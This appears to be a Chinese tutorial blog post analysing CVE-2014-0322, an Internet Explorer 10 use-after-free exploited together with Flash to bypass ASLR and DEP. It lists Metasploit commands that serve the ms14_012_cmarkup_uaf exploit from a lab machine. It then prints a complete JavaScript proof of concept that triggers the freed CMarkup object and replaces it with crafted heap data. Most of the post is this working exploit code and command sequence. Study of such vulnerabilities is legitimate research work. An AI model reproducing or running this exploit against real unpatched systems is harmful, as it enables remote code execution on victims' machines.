欢迎来到 嗅灵易学

零基础也能上手的脚本技术课,一对一答疑带你入门

[原创] CVE-2014-0322 IE与Flash结合利用 绕过ASLR+DEP

[原创] CVE-2014-0322 IE与Flash结合利用 绕过ASLR+DEP

前言

Flash与html结合利用在前几年的攻防对抗中非常火爆,Flash使用的脚本语言是ActionScript,Html使用的是JavaScript,两种脚本语言各有其特性,ActionScript通过Vector<uint>对内存读写数据来定位模块基址以及堆喷射,JavaScript通过字符串占位来覆盖释放后的对象, 最后调用shellcode的任务是ActionScript完成的 ,其实一开始我也比较困惑,既然漏洞是JavaScript代码造成的,那Shellcode怎么会是ActionScript执行的?这也是这个漏洞利用有趣的地方!


漏洞详情:

Use-after-free vulnerability in Microsoft Internet Explorer 9 and 10 allows remote attackers to execute arbitrary code via vectors involving crafted JavaScript code, CMarkup, and the onpropertychange attribute of a script element, as exploited in the wild in January and February 2014.

实验环境

攻击机操作系统:Windows 10

目标机操作系统:Windows 7 sp1 32位

浏览器:IE10.0.9200.16438

FLASH版本: Flashplayer12

调试器: IDA、x64dbg

其他工具:Metasploit


漏洞验证


Metasploit开启HTTP服务器:

攻击机cmd中输入ipconfig查询本机ip为192.168.1.101


攻击机cmd打开metasploit控制台启动攻击所需的HTTP服务器

使用的命令如下:

1. msfconsole
2. use exploit/windows/browser/ms14_012_cmarkup_uaf
3. set SRVHOST 192.168.1.101
4. set payload windows/exec
5. set CMD calc.exe
6. exploit


目标机进入指定的URL链接


漏洞分析


异常poc:

<html>

<head>

</head>

<body>

<script>

 

var g_arr = [];

var arrLen = 0x250;

function dword2data(dword)

{

    var d = Number(dword).toString(16);

    while (d.length < 8)

        d = '0' + d;

    return unescape('%u' + d.substr(4, 8) + '%u' + d.substr(0, 4));

}

 

function eXpl()

{

    var a=0;

    for (a=0; a < arrLen; a++) {

        g_arr[a] = document.createElement('div');

    }

    // Build a new object

    var b = dword2data(0x19fffff3);

    while (b.length < 0x360)

    {

        // mov     eax,dword ptr [esi+98h]

        // ...

        // mov     eax,dword ptr [eax+8]

        // and     dword ptr [eax+2F0h],0FFFFFFBFh

        if (b.length == (0x98 / 2))

        {   

            b += dword2data(0x1a000010);

        }   

        // mov     ecx,dword ptr [edx+94h]

        // mov     eax,dword ptr [ecx+0Ch]

        else if (b.length == (0x94 / 2))

        {   

            b += dword2data(0x1a111111);

        }   

        // mov     eax,dword ptr [edx+15Ch]

        // mov     ecx,dword ptr [eax+edx*8]

        else if (b.length == (0x15c / 2))

        {   

            b += dword2data(0x42424242);

        }   

        else

        {   

            b += dword2data(0x19fffff3);

        }   

    }	

    

    var d = b.substring(0, (0x340 - 0x8) / 2);

    // trigger

    try{

        this.outerHTML=this.outerHTML

    }   

    catch(e){ 

    }	

    CollectGarbage();

    // Replace freed object

    for (a=0; a < arrLen; a++)

    {	

        g_arr[a].title = d.substring(0, d.length);

    }	

}

// Trigger the vulnerability

function trigger()

{

    var a = document.getElementsByTagName("script");

    var b = a[0];

    b.onpropertychange = eXpl;

    var c = document.createElement('SELECT');

    c = b.appendChild(c);

}

trigger();

</script>

</body>

</html>

注意:上传附件及图片大小不得大于30M。

⚠️ 版权声明:
本博客所有内容(含教程、源码、工具)仅供个人技术学习与研究交流使用,严禁商用、倒卖、二次分发及非法用途
未经作者书面授权,任何组织或个人不得转载、复制或用于其他平台,违者将追究相关责任。

0 0 0 举报
复制成功